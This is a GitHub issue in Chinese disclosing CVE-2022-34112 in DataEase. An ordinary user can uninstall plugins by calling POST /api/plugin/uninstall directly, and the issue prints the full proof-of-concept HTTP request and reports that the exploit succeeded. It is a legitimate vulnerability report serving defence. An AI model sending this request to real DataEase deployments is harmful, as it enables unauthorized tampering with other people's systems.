CVE-2022-34112: [Bug]普通权限越权卸载插件 · Issue #2429 · dataease/dataease

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Closed

Ryze-T opened this issue

Jun 15, 2022

· 2 comments

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DataEase 版本
最新版

运行方式(安装包运行 or 源码运行 ?)
安装包运行

浏览器版本
任意

Bug 描述
普通权限越权卸载插件

Bug 重现步骤(有截图更好)
普通用户无法对插件进行处理，但是通过调用接口可对插件进行卸载：

POST /api/plugin/uninstall/1 HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate
Authorization: xxx
LINK-PWD-TOKEN: null
Connection: close
Content-Length: 0

Authorization为鉴权标准，低权限依然可以调用api/plugin/uninstall接口进行插件卸载：

包发送后显示成功：

管理员查看插件被卸载，漏洞利用成功：